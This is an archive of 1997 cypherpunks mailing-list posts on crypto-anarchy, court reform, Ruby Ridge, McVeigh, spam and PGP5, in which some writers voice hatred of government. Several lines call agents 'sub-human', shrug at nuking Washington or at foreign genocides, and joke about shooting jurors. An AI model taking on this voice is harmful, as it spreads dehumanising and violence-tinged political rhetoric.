> only way to preserve the people and the ideals that I love.  

Who said I'd be in the trenches or murder the enemy?  Who said I would
pick up a weapon and use it?  Hating them is not the same as taking
actions to quench that hate.  That should give your panic pause for
thought.

> I might work to deploy ideas and technologies that threaten to
> induce social chaos, if I believed that those ideas and 
> technologies were the only way to ensure the blessings of 
> liberty and prosperity for my children.

Do what you think is necessary within your ideals.
 
> But I will _never_ take one of these actions while intoxicated
> by a cloud of hatred and self-righteousness.  I will _never_ 
> tell myself that I am part of a sacred jihad which absolves me
> of all guilt, and I will _never_ re-classify my enemies as 
> sub-human in order to justify my treatment of them.

Erm?  What Jihad?  Since where are we so organized and sacred?  Hell, I
don't even own a gun, I don't know where you get your knee jerk reaction
from.  You certainly don't see me renting a Rider Truck and buying
fertilizer.  So where do you get "sacred" and "jihad" from?

Am I supposed to silence my hatred for the crimes against humanity that
the scum in power have commited, or for their incessant attempts at
destroying our freedoms because you can't deal with another's hatred?
Because you imagine and fear that hatred will lead to action?  Isn't that
what CENSORSHIP is about after all? 

> So take a fucking BREAK man.  Just get up from the computer and
> go for a fucking walk in the mountains and think about your 
> fucking family and loved ones.

I wouldn't think, nor hate, this way if it weren't for thinking about my
family and loved ones and their freedom.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 22 Aug 1997 05:21:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: an end to "courts" (was RE: An end to "court appointedattorneys" )
In-Reply-To: <01BCAE9E.55579440@d414.pppdel.vsnl.net.in>
Message-ID: <v0310280db02259c93d01@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:58 PM -0700 8/21/97, Rishab Aiyer Ghosh wrote:

>unlike in the common-law, jury system, such arbitrators would perhaps
>be able to use their intelligence to figure things out by talking to the
>opposing
>sides directly, instead of requiring lawyers to pick fights in matters of
>a "law"
>so distant from the people it affects that they can't interpret it directly.

The modern American legal system, at least in the many recent capital
murder cases which have received such wide publicity, is not about a
"search for truth," obviously. Instead, it is an adversarial system (no
surprise there) in which competing teams spend vast amounts of money trying
to derail the other side, get jurors dismissed because of "jury consultant"
models, etc.

As the Simpson case showed, the logic went like this:

Prosecution: "The DNA results showed a match to an average of two out of
the earth's 7 billion inhabitants. Mr. Simpson's DNA was one of them. "

Defense: "So how come you ain't lookin' for da other guy?"

Jurors: "Like Johnnie said, if it do not fit, you must acquit."

By the way, the McVeigh case was filled with the same nonsense, from both
sides, and from the defense side especially.  I know that if I had been
unfairly accused of planting such a bomb, I'd be screaming at the top of my
lungs and would have testified extensively in my own trial.

Yeah, yeah, yeah, I can already hear some of you about to argue that a
defendant's silence is not evidence of guilt. But this is precisely the
kind of legalistic nonsense we are talking about! (I am not saying silence
equals guilt, or that testimony can be compelled, but it only stands to
reason that a jury should take into consideration that a defendant--Simpson
or McVeigh--never testified, never gave his side of the story, never
explained this theory of how things happened, etc.)

Anyway, a machine has been set up to let these dueling adversarial teams
consume vast amounts of court and public resources.

OJ Simpson could have received a trial beginning 60 days after the murders,
lasting for no more than 10 days, and with his execution to follow within
30 days after that. (Yes, I would allow one "appeal," with a higher court
listening to any objections to how the lower court operated, etc., and
possibly ordering a new trial, etc. It should not take more than a day or
two.)

The adversarial machine is made worse by the vast public subsidies of both
sides, the endless delays, and the general "legalisms" used by both sides.

As a personal note, my father was an officer in the U.S. Navy, and served
on several courts martial. No capital murder cases, that I recall him
mentioning, but some might serious matters. As most of you must know, the
system is much different than the main U.S. legal system. And my father
believes the military system is vastly more just, and quicker, and cheaper.
A 3-man panel hears the evidence presented, asks questions, listens to
defense points, etc., and then adjourns to reach a verdict. All in a few
days, of course.

No jury consultants making sure that no college graduates are on the jury,
that enough blacks are seated, that facial expressions indicate likely
sympathies to the defendant, etc.

The U.S. system is corrupt. Hordes of lawyers--too many, of course--swarm
out into the "System," inflating legal bills, billing at $200 an hour for
the Xerox copying time of junior lawyers, and even charging lavish lunches
to the other side. (I could cite dozens of examples...)

Those of you who have taken McVeigh's "side" against Steven Jones should
consider this whole situation. McVeigh, who quite clearly "did it," will
now get a new lawyer--and his team!--to handle the appeal. More delays,
more time billed at $300 an hour for the new top lawyer, and at $200 x 4 =
$800 for his major assistants, and at some unknown rate for his clerks,
secretaries, etc., all for what? So that an additional $500K or so is
spent, with a delay now of an additional 4 to 6 months "for the new lawyers
to familiarize themselves with the 200,000 pages of transcripts"...and so
on.

To what end? McVeigh did it, and only an Alice in Wonderland legalistic
society could even doubt it for a nanosecond.

(And in fact, we all accept this. Where's the real "outrage" that McVeigh
is being prosecuted for a crime he didn't commit? We were outraged that
Randy Weaver was entrapped on such a minor offense (shortening a rifle
barrel by an inch or two), and that his wife and son were then shot in an
ambush. We were outraged at Waco. We _are_ outraged at the treatment Abner
Louima received in NYC. But we are not outraged at McVeigh's treatment.
Because, as with OJ, anybody with three neurons to rub together knows he
did it. And yet the multi-year legal charade continues.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 22 Aug 1997 03:54:58 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Inside the Cypherpunks Cult
In-Reply-To: <199708182326.AAA00880@server.test.net>
Message-ID: <3.0.2.32.19970821152909.036713a0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:49 PM 8/19/97 -0700, Kent Crispin wrote:

>It's actually closer to a cult -- a small group with it's own shared
>reality -- a reality quite at variance with societal norms.  The cult
>has its own terminology, and an underlying dogma to which these code
>words refer.  The cult has "special knowledge" that has been revealed
>to them concerning massive changes that will happen to society --
>changes that will usher in a new world order.  These changes may 
>involve the world going through a cleansing fire of war of war and 
>destruction. 

One minor difference is that most cults don't manage to convince the head of 
the FBI and various other national leaders that their scenario is possible.  
[I'm not saying that we actually convinced anyone ourselves but we certainly 
share a vision of a possible future with Freeh and various intelligence 
types.]  They talk about their fears of digital anarchy all the time.  I 
don't remember the FBI director talking about the Lamb and the Book of Rev 
like Koresh or about the saucer behind Hale-Bopp like Heaven's Gate.

Not an ordinary cult.

DCF

"If Vince Foster had a gun he'd be alive today."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM/yXAYVO4r4sgSPhAQGiCAP/SGwXrg5LFHtSQLE6qKfBNiltjwC7b15b
SA87/SZPuLSaK1u/oYgXdlSBlmac1tN2Ur7bmeR6AA5opIlC0Edq7FRiMx/RWk6d
tQOYaS7QJThgfWa+Hp+Z2xX8UGz8JYzrCrnPXdMrboDvcReGuPR+52TlE2lUra2H
AQMBcq/Vin0=
=eQJD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Fri, 22 Aug 1997 07:12:16 +0800
To: cypherpunks@cyberpass.net
Subject: curfew laws
Message-ID: <199708212305.QAA09758@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




In response to an earlier thread about curfew laws being unconstitutional,
apparently a federal appeals court thinks so too. The San Diego curfew
law was struck down on June 9, 1997. The ACLU prosecuted. For the report
and a link to the decision see http://www.aclusandiego.org/curfew.html.

Mark Hedges





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 21 Aug 1997 20:25:10 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: 3GW standards
Message-ID: <199708211730.RAA00629@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** Battle over third generation wireless standards begins

In a scene reminiscent of Beta vs. VHS and Windows vs. Macintosh, a
technology battle among giant wireless industry manufacturers began
taking shape last week. The story, revealed in a report from
WirelessNOW, shows that makers of wireless gear are maneuvering for
position to set the standards for the next generation of wireless
Internet connectivity, multimedia applications and portable phone
services. What is precipitating this onslaught? Nothing less than the
control of a mega-billion dollar industry's future direction in what
is being called Third Generation Wireless (3GW) systems. (PR Newswire)
Story, http://www.infobeat.com/stories/cgi/story.cgi?id=4524154-d9f


-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham John-Bullshit <gbs@dev.null>
Date: Fri, 22 Aug 1997 16:41:22 +0800
To: amp@pobox.com
Subject: Re: take The Boulder Pledge now!!!
In-Reply-To: <199708220507.WAA10828@toad.com>
Message-ID: <33FCD4D4.3126@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



I think amp needs to have our 2000 friends each send 20,000 copies
of this post back to him.

amp@pobox.com wrote:

> hahahaha ROTF! Stop spam, please forward this to 2000 of your closest friends

Graham John-Bullshit
moderator: alt.2599.99






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 22 Aug 1997 09:08:03 +0800
To: ? the Platypus {aka David Formosa} <gturk@concentric.net
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <3.0.3.32.19970821112449.00973890@pop3.concentric.net>
Message-ID: <v03102800b022928487f6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:34 AM -0700 8/21/97, ? the Platypus {aka David Formosa} wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Thu, 21 Aug 1997 gturk@concentric.net wrote:
>
>> TruthMonger wrote:
>>
>> >  Tim speaks of those who feel it is their duty/right to "collect
>> >tribute from those who don't want to make the contribution freely."
>>
>> You must be referring to the Cult of Redistribution.
>
>The way I see it is quite simple,  if these peaple where not payed off it
>is most likely that thay will turn to crime.  Other then condemming every
>single impovished person to death, this is one of the better soultions to
>a difficalt problem.
>
>- --
>Please excuse my spelling as I suffer from agraphia see the url in my header.

Given that the U.S. already has a huge system for redistributing wealth,
and a very high crime rate, what is your evidence for your claim?

Agraphia or not, this is one of the lamest posts I've seen in years. Wealth
is to be taken from those who have worked for it or put their capitcal at
risk and given ("redistributed") to those who have done neither, just
because we're afraid they'll steal it from us or "turn to crime" if we
don't pay them off?

What's wrong with chopping the hands off of thieves and executing muderers?
A lot of cultures have very little forcible redistribution of wealth, and
little crime.

The United States has a lot of redistribution of wealth and a lot of crime.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 22 Aug 1997 09:13:11 +0800
To: cypherpunks@cyberpass.net
Subject: State Charges in Weaver Case
Message-ID: <19970822005931.27111.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Here's an odd Ruby Ridge development, which just floated across
Reuters.

Idaho prosecutors have filed two sets of state charges against
persons involved in the incident.

Kevin Harris was charged with First Degree Murder for "killing
Deputy U.S. Marshall William Degan willfully and with malice
aforethought."

FBI Sniper Lon Horiuchi was charged with involuntary manslaughter
in the death of Vicki Weaver.

Shouldn't it be First Degree Murder for deliberately killing
someones wife with a baby in her arms, and involuntary
manslaughter for using possibly excessive force against an armed
attacker?

Seems a bit backwards to me.

I suppose it has something to do with that "only following
orders" thing. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 22 Aug 1997 09:22:37 +0800
To: cypherpunks@cyberpass.net
Subject: State Charges in Weaver Case
Message-ID: <19970822011026.30088.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



One additional news tidbit.  

FBI director Louis Freeh said he was "extremely disappointed" in the
charges against Horiuchi, and promised that the Federal Government 
would spare no expense in defending him against them. 

Hey, I've got an idea.  Is Stephan Jones free? :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Fri, 22 Aug 1997 02:54:44 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: Find Info You Never Thought Possible..ONLINE!!
Message-ID: <19970821182355.7998.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



On Aug 21,  7:56, INFOREVOLUTION wrote:
} Subject: Find Info You Never Thought Possible..ONLINE!!
> <HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
> Find The Dirt On The Internet!!
> 
> You will not receive any more correspondence from us!!!!!
> -----------------------------------------------------------------------------
> 
> We have done the research for you!!! With this power tool you can access
> information all over the World Wide Web about your employees, friends and
> rivals. We give you the access to hundreds of sites that will supply you
> with information about DMV records, credit profiles, medical and criminal
> records, most anything you would want to know.

Wow.  Pseudolibertarian spam.

Anyone wanna bite, fork the money and report back to us?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 22 Aug 1997 07:14:25 +0800
To: cypherpunks@toad.com
Subject: Re: Spam-killing PGP5/ecash postage plugin Was Re: Remailer  chaining  plugin for Eudora
Message-ID: <v0311070cb02275a79bcd@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Thu, 21 Aug 1997 18:31:17 -0400
To: e$@thumper.vmeng.com, mac-crypto@thumper.vmeng.com
From: Robert Hettinga <rah@shipwright.com>
Subject: Re: Spam-killing PGP5/ecash postage plugin Was Re: Remailer
 chaining  plugin for Eudora
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

At 4:29 pm -0400 on 8/21/97, Somebody wrote:


> Sorry, but I think e-postage is among the worst ideas I've ever heard of. I
> don't think it's clear that it would eliminate spam. It might even increase
> it -- I'll bet the overall costs of email are lower than for paper mail --

But the relative present cost of spam (free) is, um, siginificantly, less
than it would cost with e$postage.

> and it would be the death of mailing lists.

Not at all. At the very least, mail from lists I'm subcribed to could come
postage due. And, since I'm the person who's charging postage, sender pays,
remember, I could charge free postage to my friends, like the 1000 or so in
cypherpunks, or the 300 on e$ and mac-crypto. :-).

There are work arounds. Face it, the world is going to specific cash
settled auction pricing on internet services, and not bulk, or even
probabalistic, pricing.

No problem. It'll mean cheaper services in the long run, not only because
someone then owns the "commons", but because efficient autonomously run
cash-settled auctions are always cheaper than transfer pricing and
"planning". It's like comparing the Chicago Board of Trade wheat pit, the
world's most efficient wheat market, to the committee which set Soviet
wheat production quotas. Notice who was selling wheat to whom in *that*
scenario. :-).

Reality, economic or otherwise, is not optional...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/




---------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
---------------------------------------------------------------------
Like e$? Help pay for it!  See <http://www.shipwright.com/beg.html>
Or, for e$/e$pam sponsorship, <mailto:rah@shipwright.com>
---------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 21 Aug 1997 21:11:57 +0800
To: Mike <Michael.Johnson@mejl.com>
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <3.0.3.32.19970819080948.009b9190@localhost>
Message-ID: <Pine.LNX.3.93.970821184743.728A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 19 Aug 1997, Mike wrote:

[...]

> That thinking is backwards. If you sign with a DSS key, you will
> increase PGP5 usage,

I have no real interst into forceing the users into useing PGP5.  I do
have an interest in supporting the most commen crypotgrafic program.

> If you can't get access
> to at least one of those platforms, then you're not much of a
> cypherpunk, are you?

I can (and most like will) have access to PGP5, but its not for me that I
will be useing the old keys.  > > Mike.  > > -----BEGIN PGP SIGNATURE-----


- -- Please excuse my spelling as I suffer from agraphia see the url in my
header. Never trust a country with more peaple then sheep.  ex-net.scum
and proud You Say To People "Throw Off Your Chains" And They Make New
Chains For Themselves? --Terry Pratchett


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM/wBuqQK0ynCmdStAQFYmgP/RWVK0Zbpw/DfXj21cIZ45+fkX3MgQlL2
0WDoToJlcTwefi7OwZTYYZp5k8OyjJuin8sYoPCbErOBkGlXcgRFqNvyu3SAoDM9
ndn7tBcQbFFfYsyMY5wNM5Z/g25bnvk1KWNE8u89iCP+tdqtkvCDVoa5ssPQtS3O
nBdM1CVMx6s=
=h59v
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 22 Aug 1997 01:27:03 +0800
To: cypherpunks@toad.com
Subject: heart
Message-ID: <199708211706.TAA00218@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




 A million monkeys operating under the pseudonym
 "Ray Arachelian <sunder@sundernet.com>" typed:
>
> Meethinks (not speaking for Tim) that years under a fascist natzi-like
> regime bent on ripping out all out freedoms one by one and confiscating
> all things threatening to it would cause any awake person to lose any
> compassion for the scum that run our Freeh country.


BULL SHIT.


This is a cop-out, used by emotionally stunted men to excuse 
themselves from their solemn responsibility to ethically 
justify their own actions and to deal fairly with their fellow
humans.


By reciting mantras to one another emphasizing their sense of 
having been mistreated and their sense of having 
_unquestionable_ moral superiority, people in this situation 
persuade each other to become more and more fanatical in their 
attitudes, less and less in touch with reality, and less and 
less compassionate towards the "others" who have been demonized
in the process.


Note that this process _always_ includes a group of other 
humans which are demonized in order to serve as a scapegoat and
as a concrete focus for the participant's negative emotions.


This process is objectively identical to the process 
experienced by _all_ hate groups, gangs and nationalists.


You are standing in the auditorium, Louis Freeh's face is 
displayed on the screen, interposed with film of jackbooted 
thugs breaking down your door, and you are screaming wordlessly
at him along with all of your brethren during the Two Minutes 
Hate.



THAT should give you pause for thought, Ray.







Listen to me:  I might take up arms in the trenches next to you
someday, if it comes to that.  I might murder enemies or 
civilians in their sleep, if I were convinced that it was the 
only way to preserve the people and the ideals that I love.  
I might work to deploy ideas and technologies that threaten to
induce social chaos, if I believed that those ideas and 
technologies were the only way to ensure the blessings of 
liberty and prosperity for my children.


But I will _never_ take one of these actions while intoxicated
by a cloud of hatred and self-righteousness.  I will _never_ 
tell myself that I am part of a sacred jihad which absolves me
of all guilt, and I will _never_ re-classify my enemies as 
sub-human in order to justify my treatment of them.




So take a fucking BREAK man.  Just get up from the computer and
go for a fucking walk in the mountains and think about your 
fucking family and loved ones.




Z





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 22 Aug 1997 10:14:32 +0800
To: cypherpunks@Algebra.COM
Subject: Breaking Legal News....
Message-ID: <v03102800b022a095d611@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





(Apologies if these stories have already been discussed...my ISP is making
changes to the system, and outages have ensued...)

First, the Ruby Ridge killer Lon Horiuchi will have to leave his protective
WitSec  program to stand trial for the murder of Vicki Weaver, who was
unarmed and whom he fired at recklessly. The charges: manslaughter.

(I don't defend the bounty being placed on Horiuchi's head, which I
understand is up to $125,000. Them danged militias are practicing AP. My
hunch is that old Lon is gonna get shivved one way or another.)

Second, charges have also been filed against Kevin Harris, who was tried in
a Federal court, and acquitted. Now the state is repeating the trial. (And
the litigation was extensive in the Harris case, and Harris was acquitted
based on a self-defense argument--for those who didn't follow it, the Feds
were lying in camouflage, shot the dog, then the son of Randy Weaver fired
at the Feds, the Feds killed the son, then Kevin Harris fired back, killing
a Fed. In other words, a classic close quarters fire fight, initiated by
the Feds without warning.)

As with the Rodney King Four, this is not being called a case of "double
jeopardy." If the state charges don't stick, try again in a different
jurisdiction, Federal. If the Federal charges don't stick, file in a
different jurisdiction, the state. I call this double jeopardy, and I don't
see how a reasonable person cannot call it this. Perhaps the Feds can have
a victim persecuted (er, prosecuted) first at the local level. If that
fails, the state level. If that fails, the Federal level. And should that
fail, the World Court in the Hague could take over the case and put
Interpol onto the persecuted.

Third, the Disneyland case is proceeding. The children "traumatized" by
seeing the actor playing Mickey remove his mouse head in front of them. Oh,
the horrors! And this is set to be a _jury_ trial. If I were called in and
forced to sit on this jury, collecting my oh-so-generous $5 or $10 a day,
I'd pull out my H & K and blow someone away. (The hysterical grandmother,
acting out her inner demons, deserves a Hasty Pudding prize for overacting
and absurdity. You have to see it yourself.)

Fourth, and then there's the Florida case of the woman who claimed a CAT
machine took away her psychic powers and collected a million dollars  in a
jury trial. (I lied about this one being "breaking" news...it's actually
from Peter Huber's excellent book about frivolous lawsuits and science on
trial...I think that was the name of it, "Galileo's Revenge: Science on
Trial," or similar.)

And the taxpayers gets to pay for most of this shit.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 22 Aug 1997 07:35:45 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <fVhs9EHVdlP+AG7IUMciZA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 07:06 PM 8/21/97 +0200, a confused Zooko Journeyman wrote:
>BULL SHIT.

Two words used to describe EVERTHING Zooko is about to say.

>This is a cop-out, used by emotionally stunted men to excuse 
>themselves from their solemn responsibility to ethically 
>justify their own actions and to deal fairly with their fellow
>humans.

What the hell is an "Emotionally stunted man", any way, Zooko?

>By reciting mantras to one another emphasizing their sense of 
>having been mistreated and their sense of having 
>_unquestionable_ moral superiority, people in this situation 
>persuade each other to become more and more fanatical in their 
>attitudes, less and less in touch with reality, and less and 
>less compassionate towards the "others" who have been demonized
>in the process.

I don't see what's fanatical about hating a government.

>Note that this process _always_ includes a group of other 
>humans which are demonized in order to serve as a scapegoat and
>as a concrete focus for the participant's negative emotions.

Question, Zooko:

Who the fuck makes gun laws, helps pass censor laws, anti-freedom and
encryption laws, anyway???

>This process is objectively identical to the process 
>experienced by _all_ hate groups, gangs and nationalists.

We don't *demonize*, we put the blame on the guilty.

>You are standing in the auditorium, Louis Freeh's face is 
>displayed on the screen, interposed with film of jackbooted 
>thugs breaking down your door, and you are screaming wordlessly
>at him along with all of your brethren during the Two Minutes 
>Hate.

Think about this, Zooko:

You are standing, along with your other sheeple, screaming, throwing
objects, at Tim McVeigh, with images of Flag-waving freedom-fighters
(terrorists, by government terms) behind his face.

>THAT should give you pause for thought, Ray.

THAT above should give YOU pause for thought, Zooko.

>Listen to me:  I might take up arms in the trenches next to you
>someday, if it comes to that.  I might murder enemies or 
>civilians in their sleep, if I were convinced that it was the 
>only way to preserve the people and the ideals that I love.  
>I might work to deploy ideas and technologies that threaten to
>induce social chaos, if I believed that those ideas and 
>technologies were the only way to ensure the blessings of 
>liberty and prosperity for my children.

And that is what most of us feel.

>But I will _never_ take one of these actions while intoxicated
>by a cloud of hatred and self-righteousness.  I will _never_ 
>tell myself that I am part of a sacred jihad which absolves me
>of all guilt, and I will _never_ re-classify my enemies as 
>sub-human in order to justify my treatment of them.

Sacred Jihads who work to overthrow the U.S. government, in order to
establish a more libertarian one?

I consider anyone as being sub-human who bursts through my door, armed
heavily, and with intent to steal my possesions, and my freedom, and
my sovreignity over my house.

>So take a fucking BREAK man.  Just get up from the computer and
>go for a fucking walk in the mountains and think about your 
>fucking family and loved ones.

And I'm sure you'll be thinking the same thing one day if THEY bust
down YOUR door, and fire at your wife, holding a baby daughter of
yours.

If they come at your house with a tank, outside standing, are hundreds
of armed ATF agents.

If they come to steal your wealth, force you from your house, after
seeing your are an enemy of the people, destroy your possesions, and
force you to a concentration camp.

Think about it, Zooko.  Don't close your mind in the shroud of hatred
for those different from you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 22 Aug 1997 10:31:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Inside the Cypherpunks Cult
In-Reply-To: <19970819234915.63274@bywater.songbird.com>
Message-ID: <v03102801b022a6162125@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:29 PM -0700 8/21/97, Duncan Frissell wrote:


>One minor difference is that most cults don't manage to convince the head of
>the FBI and various other national leaders that their scenario is possible.
>[I'm not saying that we actually convinced anyone ourselves but we certainly
>share a vision of a possible future with Freeh and various intelligence
>types.]  They talk about their fears of digital anarchy all the time.  I
>don't remember the FBI director talking about the Lamb and the Book of Rev
>like Koresh or about the saucer behind Hale-Bopp like Heaven's Gate.
>
>Not an ordinary cult.
>
>DCF
>
>"If Vince Foster had a gun he'd be alive today."

Or the variant, "If Nicole Brown Simpson had a gun, she'd be a rich widow
today."

On the subject of cults, neither do cult leaders sit on panels at the
Computers, Freedom, and Privacy conference and mingle with the leading
lawyers, law professors, NSA employees, and Justice Department
representatives.

(As I have said, though this may have been before Crispin's time on this
list, I've had polite contacts with Stuart Baker, former top counsel to the
NSA, over the years. He clearly disagrees with my political agenda, as I do
with his (though he is showing some backbone as top lawyer arguing against
the CALEA/DT provisions).

Yes, it is obviously a bit of hyperbole to say we long for the nuking of
Washington. In fact, the way this thread started, at least my involvement
in it, was by my comment that if a soft target like D.C. were to vanish in
a puff of nuclear smoke, I wouldn't cry any tears. "So sue me."

And I actually do think unbreakable crypto will have profound effects on
taxation, which the government thinks is so, also. And will make it
possible for virtual communties to communcate securely, including for the
planning and execution of freedom fighting or "terrorist" activities. The
government also agrees with this one.

Where we differ is that first, I don't worry overmuch about what some
foreigners are doing to other foreigners. I take George Washington at his
word: avoid foreign entanglements. Not America's business if the Hutus are
killing the Tutsis, or vice versa, or if the Nazis are killing the Jews, or
vice versa.

Second, we differ in that I don't think converting the U.S., or the world,
into a totalitarian, surveillance state is an acceptable price to pay to
stop some crimes. Louis Freeh believes otherwise.

Third, these forces, once unleashed, have an unfolding force of their own.
Denning admits this, Freeh admits this, Reno admits this, Baker admits
this. Which is why the government is so concerned.

Hardly the stuff of a cult, is it?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 22 Aug 1997 10:39:54 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <1.5.4.32.19970821161048.00743ce8@pop.pipeline.com>
Message-ID: <3.0.2.32.19970821192556.007306d8@netcom10.netcom.com>
